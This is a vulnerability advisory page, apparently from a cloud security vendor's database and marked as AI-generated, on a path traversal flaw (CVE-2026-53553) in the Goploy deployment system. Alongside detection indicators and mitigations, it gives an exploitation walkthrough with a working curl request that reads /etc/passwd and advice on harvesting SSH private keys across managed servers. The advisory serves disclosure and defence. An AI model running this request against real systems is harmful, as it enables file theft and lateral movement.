
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2026-53553 is a path traversal vulnerability in Goploy, an open-source automation deployment system, that allows authenticated low-privileged users to read arbitrary files on both the Goploy host server and all remotely managed target servers. The vulnerability affects all versions up to and including 1.17.5, with no patched version currently available. It was first published by the maintainer on June 1, 2026, and added to the GitHub Advisory Database on July 7, 2026. The vulnerability carries a CVSS v3.1 base score of 7.7 (High) (GitHub Advisory, Goploy Advisory).
The root cause is insufficient validation and sanitization of the filePath parameter in the /deploy/fileDiff (File Compare) API endpoint, classified as CWE-22 (Path Traversal) and CWE-200 (Exposure of Sensitive Information). The endpoint is designed to read a local project file and compare it with a file on a remote server via SFTP, but because the filePath value is passed directly to os.ReadFile without path normalization or boundary checks, an attacker can inject ../ sequences to escape the intended directory. This results in a dual arbitrary file read: the srcText field in the response contains the traversed file from the local Goploy host, while distText contains the traversed file from the remote server accessed via SFTP. The attack requires only a valid low-privileged session token and knowledge of the G-N-ID namespace header, both of which are trivially obtainable (GitHub Advisory, Goploy Advisory).
Successful exploitation allows an attacker to read any file accessible to the Goploy process on the local host (e.g., /etc/passwd, /etc/shadow, application configuration files, database credentials) and simultaneously read arbitrary files on every remote server managed by Goploy via SFTP. The most severe consequence is the theft of SSH private keys (e.g., ~/.ssh/id_rsa), which can enable passwordless SSH access to the Goploy host and all managed servers — effectively achieving remote code execution equivalence. By enumerating serverID values, an attacker can use Goploy as a pivot point to conduct large-scale credential and configuration theft across an entire managed infrastructure (Goploy Advisory).
member-role account on the target Goploy instance. Retrieve the valid goploy_token cookie after login./namespace/getOption with the session cookie to retrieve the available namespace ID (e.g., G-N-ID: 1)./server/getOption with the session cookie and G-N-ID header to retrieve available managed server IDs./deploy/getList to retrieve available project IDs./deploy/fileDiff with a filePath value containing repeated ../ sequences to escape the project directory, e.g., ../../../../../../../../../../etc/passwd.curl -s -X POST -b "goploy_token=<TOKEN>" \
-H "Content-Type: application/json" \
-H "G-N-ID: 1" \
-d '{"projectId":1,"serverId":1,"filePath":"../../../../../../../../../../etc/passwd"}' \
"http://<TARGET>/deploy/fileDiff"data.srcText contains the file from the Goploy host, and data.distText contains the file from the remote managed server.filePath targeting ~/.ssh/id_rsa or /root/.ssh/id_rsa across multiple serverID values to harvest SSH private keys for lateral movement (GitHub Advisory, Goploy Advisory)./deploy/fileDiff from a single authenticated session, especially with unusual frequency or targeting multiple serverID values; GET requests to /namespace/getOption, /server/getOption, and /deploy/getList in rapid succession from the same session./deploy/fileDiff with filePath values containing ../ sequences or absolute paths outside the project workspace; HTTP 200 responses to these requests indicating successful file reads./etc/shadow or ~/.ssh/id_rsa being accessed by the Goploy process may appear in OS-level audit logs (e.g., Linux auditd records for file open events by the Goploy process).As of the advisory publication date, no patched version of Goploy is available — all versions up to and including 1.17.5 are affected. Administrators should apply the following mitigations immediately:
filePath parameters containing ../, ..\, or %00 characters at the API layer.filepath.Clean to normalize paths and validate that the resolved absolute path falls within an allowed project workspace directory before passing it to os.ReadFile or SFTP operations.member role if not operationally required.Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."